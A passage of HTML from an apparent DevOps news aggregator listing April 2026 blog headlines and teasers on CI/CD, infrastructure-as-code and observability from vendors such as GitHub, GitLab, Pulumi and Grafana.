          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-an-emoji-list-generator-with-the-github-copilot-cli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See how we created an emoji list generator during the Rubber Duck Thursday stream. The post Building an emoji list generator with the GitHub Copilot CLI appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/building-an-emoji-list-generator-with-the-github-copilot-cli/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ab-testing-tools-cto-guide-to-safe-measurable-innovation" class="group relative scroll-mt-24">
        <a href="#h3-ab-testing-tools-cto-guide-to-safe-measurable-innovation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A/B Testing Tools: CTO Guide to Safe, Measurable Innovation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ab-testing-tools-cto-guide-to-safe-measurable-innovation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover top A/B testing tools for CTOs. Unify feature management and experimentation for safe, measurable innovation. Try Harness for better releases. | Blog</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/a-b-testing-tools-the-ctos-guide-to-safe-and-measurable-change"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-github-uses-ebpf-to-improve-deployment-safety" class="group relative scroll-mt-24">
        <a href="#h3-how-github-uses-ebpf-to-improve-deployment-safety" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How GitHub uses eBPF to improve deployment safety
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-github-uses-ebpf-to-improve-deployment-safety"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how Github uses eBPF to detect and prevent circular dependencies in its deployment tooling. The post How GitHub uses eBPF to improve deployment safety appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/engineering/infrastructure/how-github-uses-ebpf-to-improve-deployment-safety/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1811-budget-guardrails-for-gitlab-credits" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1811-budget-guardrails-for-gitlab-credits" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.11: Budget guardrails for GitLab Credits
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1811-budget-guardrails-for-gitlab-credits"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Teams using GitLab Duo Agent Platform with on-demand GitLab Credits are shipping faster, catching bugs earlier, and automating tasks that used to take entire sprints. But as adoption grows, so does ov</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-18-11-budget-guardrails-for-gitlab-credits/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-opus-47-is-now-available-in-gitlab-duo-agent-platform" class="group relative scroll-mt-24">
        <a href="#h3-claude-opus-47-is-now-available-in-gitlab-duo-agent-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Opus 4.7 is now available in GitLab Duo Agent Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-opus-47-is-now-available-in-gitlab-duo-agent-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The GitLab Duo Agent Platform now supports Claude Opus 4.7, Anthropic&#39;s latest model, available today via model selection in Agentic Chat and across agent-powered workflows in your GitLab instance. Fo</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/claude-opus-4-7-is-now-available-in-gitlab-duo-agent-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1811-ci-expert-and-data-analyst-ai-agents-target-development-gaps" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1811-ci-expert-and-data-analyst-ai-agents-target-development-gaps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.11: CI Expert and Data Analyst AI agents target development gaps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1811-ci-expert-and-data-analyst-ai-agents-target-development-gaps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI-generated code moves faster than the systems around it can keep up with. More code means more merge requests queued, more pipelines to configure, more questions about delivery that nobody has time </p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/ci-expert-and-data-analyst-ai-agents-target-development-gaps/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1811-automate-remediation-with-ready-to-merge-ai-code-fixes" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1811-automate-remediation-with-ready-to-merge-ai-code-fixes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.11: Automate remediation with ready-to-merge AI code fixes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1811-automate-remediation-with-ready-to-merge-ai-code-fixes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is writing code faster than any security team can review it. What used to be a manageable backlog of static application security testing (SAST) vulnerabilities is now an overwhelming list that has </p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/automate-remediation-with-ready-to-merge-ai-code-fixes/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-pulumi-cloud-rest-api-docs-now-generated-from-openapi" class="group relative scroll-mt-24">
        <a href="#h3-pulumi-cloud-rest-api-docs-now-generated-from-openapi" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pulumi Cloud REST API Docs, Now Generated from OpenAPI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pulumi-cloud-rest-api-docs-now-generated-from-openapi"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Pulumi Cloud REST API reference is now generated directly from the live OpenAPI spec at build time. Every endpoint, parameter, request body, and response schema you see on the page comes from the </p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/rest-api-docs-from-openapi/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-sagemaker-hyperpod-now-supports-flexible-instance-groups" class="group relative scroll-mt-24">
        <a href="#h3-amazon-sagemaker-hyperpod-now-supports-flexible-instance-groups" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon SageMaker HyperPod now supports flexible instance groups
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-sagemaker-hyperpod-now-supports-flexible-instance-groups"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon SageMaker HyperPod now supports flexible instance groups, enabling customers to specify multiple instance types and multiple subnets within a single instance group. Customers running training a</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/sagemaker-hyperpod-flexible-instance-groups/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run" class="group relative scroll-mt-24">
        <a href="#h3-create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Create Expert Content: Deploying a Multi-Agent System with Terraform and Cloud Run
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In support of our mission to accelerate the developer journey on Google Cloud, we built Dev Signal: a multi-agent system designed to transform raw community signals into reliable technical guidance by</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/developers-practitioners/create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scan-aws-govcloud-and-more-partitions-with-pulumi-insights" class="group relative scroll-mt-24">
        <a href="#h3-scan-aws-govcloud-and-more-partitions-with-pulumi-insights" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scan AWS GovCloud and more partitions with Pulumi Insights
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scan-aws-govcloud-and-more-partitions-with-pulumi-insights"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Pulumi Insights account scanning now supports every AWS partition. If your workloads run in GovCloud, China, the European Sovereign Cloud, or one of the ISO intelligence-community clouds, you can get </p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/scan-aws-govcloud-china-with-pulumi-insights/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud" class="group relative scroll-mt-24">
        <a href="#h3-how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to manage synthetic monitoring checks as code with Terraform and Grafana Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As teams scale, managing synthetic monitoring checks manually in the UI becomes difficult and error-prone. When you&#39;re dealing with dozens of checks across multiple environments, teams experience inco</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-welcome-highlight-to-launchdarkly-building-the-future-of-guarded-releases-together" class="group relative scroll-mt-24">
        <a href="#h3-welcome-highlight-to-launchdarkly-building-the-future-of-guarded-releases-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Welcome Highlight to LaunchDarkly: building the future of Guarded Releases together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-welcome-highlight-to-launchdarkly-building-the-future-of-guarded-releases-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Highlight&#39;s observability suite will help us revolutionize software releases.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/welcome-highlight-to-launchdarkly/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mcp-security-containerization-and-red-hat-openshift-integration" class="group relative scroll-mt-24">
        <a href="#h3-mcp-security-containerization-and-red-hat-openshift-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 MCP security: Containerization and Red Hat OpenShift integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mcp-security-containerization-and-red-hat-openshift-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In our previous 3 articles, we laid the groundwork for a protected Model Context Protocol (MCP) ecosystem by analyzing the current threat landscape, implementing robust authentication and authorizatio</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/mcp-security-containerization-and-red-hat-openshift-integration"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetry-accepted-elastics-php-distro-donation" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-accepted-elastics-php-distro-donation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry Accepted Elastic's PHP Distro Donation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-accepted-elastics-php-distro-donation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The OpenTelemetry community accepted the donation of the OpenTelemetry PHP Distro project. This post summarizes what the donation enables, how it relates to existing PHP instrumentation paths, and whe</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/otel-php-distro-donation-update/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-agentic-shift-key-takeaways-from-idc-directions-2026" class="group relative scroll-mt-24">
        <a href="#h3-the-agentic-shift-key-takeaways-from-idc-directions-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Agentic Shift: Key Takeaways from IDC Directions 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-agentic-shift-key-takeaways-from-idc-directions-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>he Agentic Shift demands new observability. IDC shares 4 key trends, including the Agent Economy and AI-Ready Infrastructure, making agentic tracing and AI observability crucial.</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/ai/agentic-shift-idc-directions-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents" class="group relative scroll-mt-24">
        <a href="#h3-debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Debugging multi-agent AI: When the failure is in the space between agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I&#39;ve been building a multi-agent research system. The idea is simple: give it a controversial technical topic like &quot;Should we rewrite our Python backend in Rust...</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-optimized-monitoring-for-hybrid-environments-with-ict-solutions" class="group relative scroll-mt-24">
        <a href="#h3-optimized-monitoring-for-hybrid-environments-with-ict-solutions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Optimized Monitoring for Hybrid Environments with ICT Solutions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-optimized-monitoring-for-hybrid-environments-with-ict-solutions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>ICT Solutions is a managed service provider (MSP) specializing in fully managed IT Support, cloud, cybersecurity and more. Based in Liverpool, they offer IT support across the UK. They work together w</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/optimized-monitoring-for-hybrid-environments-with-ict-solutions/32839/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-guide-to-grafanacon-2026-in-barcelona" class="group relative scroll-mt-24">
        <a href="#h3-your-guide-to-grafanacon-2026-in-barcelona" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your guide to GrafanaCON 2026 in Barcelona
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-guide-to-grafanacon-2026-in-barcelona"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Oh my Gaudi, GrafanaCON 2026 in Barcelona is almost here. Join us 20–22 April for our largest community conference that celebrates Grafana and its extended open source ecosystem, including the standar</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafanacon-2026-in-barcelona-what-not-to-miss/"><strong>🔗 Read more</strong></a></p>
